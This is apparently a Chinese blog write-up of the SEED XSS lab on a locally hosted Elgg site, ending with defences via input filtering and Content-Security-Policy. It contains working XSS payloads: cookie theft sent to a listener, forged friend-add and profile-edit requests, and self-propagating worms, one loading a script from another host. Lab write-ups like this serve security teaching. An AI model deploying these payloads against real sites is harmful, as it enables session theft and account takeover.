信息安全 SEED Lab8 Cross-Site Scripting (XSS) Attack Lab

这个实验主要是利用CSRF攻击来完成一些恶意的操作。由于整个实验过程要用到网站,这里先配置一下。

网站都部署在本地,且用域名访问,所以我们需要现在 /etc/hosts文件中设置域名到 IP 的映射关系。内容如下:

127.0.0.1       www.xsslabelgg.com

网站使用Apache作为服务器,在 /etc/apache2/sites-available/000-default.conf配置一下网站主目录,内容如下:

<VirtualHost *:80>
        ServerName http://www.xsslabelgg.com
        DocumentRoot /var/www/XSS/Elgg
</VirtualHost>

事实上,上面两部分环境中早已配置好,无需我们操心。

最后使用下面命令启动apache2

sudo service apache2 restart

输入网站地址,可以清楚看到首页

 

1. Task 1

这部分主要是利用XSS攻击来显示一句恶意的话。

登录Boby的账户,修改Profile,将简介修改为下面的内容并保存

<script>alert("You have been attacked!!");</script>

返回自己的注意,可以看到下面的弹框

同时其他人或者未登录的人访问他的主页也能看到这样的弹框,攻击成功

如果想嵌入比较长的JS代码,可以将简介修改为下面的内容并保存, src改成JS脚本的路径即可。

<script type="text/javascript" src="http://www.example.com/myscripts.js">
</script>

 

 

2. Task 2

这个部分主要是利用XSS攻击来显示访问的Cookies, 原理同上,只要将上面的脚本修改如下即可

<script>alert("You have been attacked!! cookie:" + document.cookie);</script>

Boby查看自己的主页时的弹出框如下,可以看到显示了自己访问的Cookie,其他网站用户查看Boby主页也能看到自己访问的Cookie。

未登录用户查看Boby的主页时的弹出框如下,也显示了访问的Cookie,但是他们Cookie值相对较少

 

3. Task 3

这部分主要是利用XSS攻击偷取受害者的Cookie。将上面的脚本修改为下面的内容,其他不变。

<script>document.write("<img src='http://127.0.0.1:5555?c=" + document.cookie + "\'>");</script>

原理就是在DOM插入一个图片,其地址中包含Cookie,请求时就会将Cookie发送给恶意服务器。

攻击前先用下面的命令在本地监听访问Boby主页发来的Cookie。

nc -l 5555 -v

Boby查看自己的主页时服务器收到的请求如下,红框内即为收到的Cookie

未登录用户查看Boby的主页时服务器收到的请求如下,红框内即为收到的Cookie。与之前的结果保持一致,攻击成功。

 

4. Task 4

这部分主要是利用XSS攻击让受害者自动添加用户Army为好友。

用Boby账户添加Army为好友,请求如下,我们只要用JS脚本模拟出这个请求即可。再移除Army好友。

将上面的脚本修改为下面的内容,由于脚本内容太长,一般的框放不下,只能放在About Me中。注意要放在Edit HTML模式中。Edit HTML模式不会对你的输入进行修改,

而普通的Editor Mode会给你的输入加上各种标签,如把每行的内容都放在p标签中

<script type="text/javascript">
    window.onload = function () {
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;

    var sendurl="/action/friends/add?friend=47" + ts + token + ts + token;
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("X-Requested-With","XMLHttpRequest");
    Ajax.send();
}
</script>

以Boby自己为例,先取消Samy好友,再访问自己主页,然后回去看可以看到已成功添加Samy为好友

换成其他用户访问Boby主页也会自动添加Army为好友,这里用Alice进行测试。

要注意的是,实验文档给出的脚本存在问题,请求头中缺少了X-Requested-With字段,请求会报错,如下

可能是后台在处理请求时会对此字段进行处理,不符合的会报302错误。

 

Q1: 解释脚本中的ts和token的作用

A1: ts 和 token其实就是防御CSRF攻击的秘密令牌,在请求时会被发送到服务端进行校验,校验通过请求才有效。这里我们模拟发送添加好友请求自然也要在请求中附带这些令牌值。

Q2: 如果没有Edit HTML模式,只能用普通的Editor Mode,还能攻击成功吗?

A2:不可以。因为它会在代码中添加各种标签并转义一些符号,如把<变成&lt;  所以攻击不可能成功。下面是一个例子,展现了变换前后的代码

 

5. Task 5

这部分主要是利用XSS攻击修改别人的主页,即修改访问Samy主页的用户的主页。

用Srmy账户修改主页,POST请求如下:

body部分如下:

将上面的脚本修改为下面的内容,模拟修改主页的请求

<script type="text/javascript">
window.onload = function(){
    var name="&name="+elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;

    var description = "&description=Your profile have been attacked!!!";
    var content=token + ts + description + guid + name;
    var samyGuid=47;
    if(elgg.session.user.guid!=samyGuid)
    {
        Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.send(content);
    }
}
</script>

使用Boby账号进行测试,目前Boby主页是空的。

访问Samy主页后主页被修改了,攻击成功。

Q1: 脚本中为什么要判断当前user的guid不等于samy的guid?

A1:因为如果去掉这一行,那么samy修改完主页后会自动跳转回自己的主页,脚本会将samy的主页修改为"You have been attacked"。从而原来的脚本被删除了,因此其他人再访问samy主页时不会被修改主页,攻击失败。这里我们演示一下,使用脚本如下:

<script type="text/javascript">
window.onload = function(){
    var name="&name="+elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="__elgg_token="+elgg.security.token.__elgg_token;

    var description = "&description=<p><b>Your profile have been attacked!!!<\/b><\/p>";

    var content=token + ts + description + guid + name;

    Ajax=new XMLHttpRequest();
    Ajax.open("POST","/action/profile/edit",true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    Ajax.send(content);
}
</script>

samy修改完主页后自己的主页如下:

 

6. Task 6

这部分主要是实现自传播的XSS攻击,主要有两种实现方法。

1. 将脚本放在远端,在主页放入带src属性的script标签,这种方法简单,实现代码短

2. 直接在主页放脚本,要处理修改的脚本和修改的内容功能一致的问题,相对比较复杂。

这里两种方法我都实现以下,如下:

 

6.1 将脚本放在远程服务器上

先在本地创建一个新的网站,名为 t.com, 用于托管恶意脚本。在/etc/hosts中添加下面一行用于DNS解析

127.0.0.1    www.t.com

再在命令行中输入下面命令启用apache自定义请求头

sudo a2enmod headers

在/etc/apache2/sites-available/000-default.conf中添加一个网站配置,并允许跨站请求,如下:

<VirtualHost *:80>
        ServerName http://www.t.com
        DocumentRoot /var/www/t
        <Directory />
                Require all granted
                Allow from all
                Header set Access-Control-Allow-Origin *
        </Directory>
</VirtualHost>

最后用下面命令重启apache即可

sudo service apache2 restart

创建 /var/www/t/malscript.js 文件,此文件即为script标签的src属性所指向的文件。内容如下,功能与之前类似,只是desciption的内容多了一个script标签,其指向我们的外部恶意脚本。

window.onload = function(){
    var name="&name="+elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="__elgg_token="+elgg.security.token.__elgg_token;

    var description = "&description=<p><b>Your profile have been attacked!!!<\/b><\/p><script type=\"text\/javascript\" src=\"http:\/\/www.t.com\/malscript.js\"><\/script>";

    var content=token + ts + description + guid + name;

    Ajax=new XMLHttpRequest();
    Ajax.open("POST","/action/profile/edit",true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    Ajax.send(content);

}

此时访问http://www.t.com/malscript.js可以看到恶意脚本的内容

再在samy账号编辑自己主页,介绍内容如下, 与上面的脚本基本一样,只是将其放在script标签中。

<script>
window.onload = function(){
    var name="&name="+elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="__elgg_token="+elgg.security.token.__elgg_token;

    var description = "&description=<p><b>Your profile have been attacked!!!<\/b><\/p><script type=\"text\/javascript\" src=\"http:\/\/www.t.com\/malscript.js\"><\/script>";

    var content=token + ts + description + guid + name;

    Ajax=new XMLHttpRequest();
    Ajax.open("POST","/action/profile/edit",true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    Ajax.send(content);

}
</script>

samy账号修改完主页后,直接可以看到主页变成如下页面

再用Boby账号去访问Samy主页,Boby主页变成如下所示

再用alice账号去访问Boby账号主页,Alice主页变成如下所示

至此实现了XSS攻击从Samy扩散到Boby再到Alice的过程。

具体过程就是当访问已被攻击的主页时会加载我们的恶意脚本,恶意脚本会修改受害者的主页为"Your Profile have been attacked" 和 一个指向我们恶意脚本的script标签。

这形成了一个递归的过程,当有人再访问此轮受害者的主页时,又会重复上面的过程。因而形成了自扩散的XSS攻击。

 

6.2 直接在主页嵌入脚本

这部分我们尝试不使用外部脚本实现自扩散XSS攻击。所使用的脚本如下:

<script type="text/javascript" id=worm>
    window.onload = function(){
        var name="&name="+elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="__elgg_token="+elgg.security.token.__elgg_token;
    
        var description = "&description=<b>Your profile have been attacked!!!<\/b>"
        var scriptstr = "<script type=\"text\/javascript\" id=worm>" + document.getElementById("worm").innerHTML + "<\/script>";
    
        var content=token + ts + description + encodeURIComponent(scriptstr) + guid + name;
    
        Ajax=new XMLHttpRequest();
        Ajax.open("POST","/action/profile/edit",true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    
    }
    </script>

具体过程与之前的修改主页过程类似。只不过修改的内容包含整个我们的恶意脚本,这部分内容不可能静态的写成字符串放在脚本内,因此我们要用脚本从DOM中读取恶意脚本的内容,拼接起来在发送请求即可。其中encodeURIComponent是用来将发送的数据用URL Encoding格式编码。

将上面的脚本放到Samy的主页中,用Boby的账号访问Samy的主页,结果如下:

再用Alice的账号访问Boby的主页,结果如下。

说明攻击成功,至此实现了XSS攻击从Samy扩散到Boby再到Alice的过程。

 

6.3 防御策略

这部分主要是指出两个防御策略。

1. 使用一个插件,他可以移除用户输入中的一些HTML标签,可以使用管理员账号在后台打开,如下

打开后我们输入的恶意脚本的一些标签,如<script>等标签会被移除,从而丧失功能,这里就不演示了。

2.使用一个PHP的内置函数,htmlspecialchars(), 他可以将一些将用户输入中的特殊字符再编码,如把<编码成&lt从而使脚本失效。具体而言就是将/var/www/XSS/Elgg/vendor/elgg/elgg/views/ default/output/下 text.php, url.php, dropdown.php, email.php 这几个文件中反注释调用htmlspecialchars函数的地方。

如下所示,此文件为/var/www/XSS/Elgg/vendor/elgg/elgg/views/ default/output/text.php, 其他文件类似。

 

这两个弄完再访问Samy主页可以发现,Samy主页显示如下:

尽管主页还是显示You profile have been attacked!!! 但后台根本没有发送edit的请求

查看HTML源码可以发现script标签被移除了,从而显示了恶意脚本而没有执行,攻击失败。

 

 

7. Task 7

这部分主要讲利用CSP防御XSS攻击。从https://seedsecuritylabs.org/Labs_16.04/Web/Web_XSS_Elgg/files/csp.zip下载代码到本地。

其中用到的py代码如下,它主要是响应浏览器的请求,返回静态文件。

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import *

class MyHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        o = urlparse(self.path)
        f = open("." + o.path, 'rb')
        self.send_response(200)
        self.send_header('Content-Security-Policy',
            "default-src 'self';"
            "script-src 'self' *.example68.com:8000 'nonce-1rA2345' ")
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(f.read())
        f.close()

httpd = HTTPServer(('127.0.0.1', 8000), MyHTTPRequestHandler)
httpd.serve_forever()

使用到的测试HTML内容如下

<html>
<h2 >CSP Test</h2>
<p>1. Inline: Correct Nonce: <span id=’area1’>Failed</span></p>
<p>2. Inline: Wrong Nonce: <span id=’area2’>Failed</span></p>
<p>3. Inline: No Nonce: <span id=’area3’>Failed</span></p>
<p>4. From self: <span id=’area4’>Failed</span></p>
<p>5. From example68.com: <span id=’area5’>Failed</span></p>
<p>6. From example79.com: <span id=’area6’>Failed</span></p>

<script type="text/javascript" nonce="1rA2345">
document.getElementById("area1").innerHTML = "OK";
</script>

<script type="text/javascript" nonce="2rB3333">
document.getElementById("area2").innerHTML = "OK";
</script>

<script type="text/javascript">
document.getElementById("area3").innerHTML = "OK";
</script>
<script src="script1.js"> </script>
<script src="http://www.example68.com:8000/script2.js"> </script>
<script src="http://www.example79.com:8000/script3.js"> </script>
<button onclick="alert('hello')">Click me</button>
</html>

再编辑/etc/hosts文件,添加下面三行,设置好DNS。

127.0.0.1       www.example32.com
127.0.0.1       www.example68.com
127.0.0.1       www.example79.com

最后运行上面的PY脚本。

 

7.1 测试不同链接的页面

要测试的三个链接如下:

1. http://www.example32.com:8000/csptest.html 页面显示如下,按钮点击无反应

原因分析:服务器返回CSP策略内容为"default-src 'self';" "script-src 'self' *.example68.com:8000 'nonce-1rA2345' ",表明只有同源的和来自 *.example68.com:8000的引入式代码,nonce值为1rA2345的嵌入式代码可以执行

字段一的script为嵌入式,nonce值为1rA2345,与策略匹配,可以执行,因此字段一显示OK

字段二的script为嵌入式,nonce值为2rB3333,与策略不匹配,不可以执行,因此字段二显示Failed

字段三为嵌入式,无nonce值,与策略不匹配,不可以执行,因此字段三显示Failed

字段四为同源的引入式,与策略匹配,可以执行,因此字段四显示OK

字段五为不同源的引入式,来源www.example68.com:8000 与策略匹配,可以执行,因此字段五显示OK

字段六为不同源的引入式,来源www.example79.com:8000 不在允许范围内,与策略不匹配,不可以执行,因此字段五显示Failed

按钮的点击响应代码为嵌入式,无nonce值,与策略不匹配,不可以执行,因此点击无反应

 

2. http://www.example68.com:8000/csptest.html 页面显示如下,按钮点击无反应

原因分析:服务器返回CSP策略内容为"default-src 'self';" "script-src 'self' *.example68.com:8000 'nonce-1rA2345' ",表明只有同源的和来自 *.example68.com:8000的引入式代码,nonce值为1rA2345的嵌入式代码可以执行

字段一的script为嵌入式,nonce值为1rA2345,与策略匹配,可以执行,因此字段一显示OK

字段二的script为嵌入式,nonce值为2rB3333,与策略不匹配,不可以执行,因此字段二显示Failed

字段三为嵌入式,无nonce值,与策略不匹配,不可以执行,因此字段三显示Failed

字段四为同源的引入式,与策略匹配,可以执行,因此字段四显示OK

字段五为同源的引入式,与策略匹配,可以执行,因此字段五显示OK

字段六为不同源的引入式,来源www.example79.com:8000 不在允许范围内,与策略不匹配,不可以执行,因此字段五显示Failed

按钮的点击响应代码为嵌入式,无nonce值,与策略不匹配,不可以执行,因此点击无反应

 

3. http://www.example79.com:8000/csptest.html 页面显示如下,按钮点击无反应

原因分析:服务器返回CSP策略内容为"default-src 'self';" "script-src 'self' *.example68.com:8000 'nonce-1rA2345' ",表明只有同源的和来自 *.example68.com:8000的引入式代码,nonce值为1rA2345的嵌入式代码可以执行

字段一的script为嵌入式,nonce值为1rA2345,与策略匹配,可以执行,因此字段一显示OK

字段二的script为嵌入式,nonce值为2rB3333,与策略不匹配,不可以执行,因此字段二显示Failed

字段三为嵌入式,无nonce值,与策略不匹配,不可以执行,因此字段三显示Failed

字段四为同源的引入式,与策略匹配,可以执行,因此字段四显示OK

字段五为不同源的引入式,来源www.example68.com:8000 与策略匹配,可以执行,因此字段五显示OK

字段六为同源的引入式,与策略匹配,可以执行,因此字段六显示OK

按钮的点击响应代码为嵌入式,无nonce值,与策略不匹配,不可以执行,因此点击无反应

 

7.2 修改服务器代码

这部分主要是修改服务器代码使得字段一,二,四,五,六在三个链接中全部显示OK。

字段一和二的script为嵌入式,且字段一script的nonce值已在CSP策略中,只要将字段而的nonce值添加进CSP策略中即可。

字段四五六script为引入式,字段四script为同源,可以执行无需修改,字段五script来源已在CSP策略中,只要将字段六script来源 www.example79.com:8000 添加进CSP策略中即可。

最后代码如下:

#!/usr/bin/env python3

from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import *

class MyHTTPRequestHandler(BaseHTTPRequestHandler):
  def do_GET(self):
    o = urlparse(self.path)
    f = open("." + o.path, 'rb') 
    self.send_response(200)
    self.send_header('Content-Security-Policy', 
          "default-src 'self';"
          "script-src 'self' *.example68.com:8000 *.example79.com:8000 'nonce-1rA2345' 'nonce-2rB3333' ")     
    self.send_header('Content-type', 'text/html')
    self.end_headers()
    self.wfile.write(f.read())
    f.close()

httpd = HTTPServer(('127.0.0.1', 8000), MyHTTPRequestHandler)
httpd.serve_forever()

 

撒花完结!!!!

  • 7
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值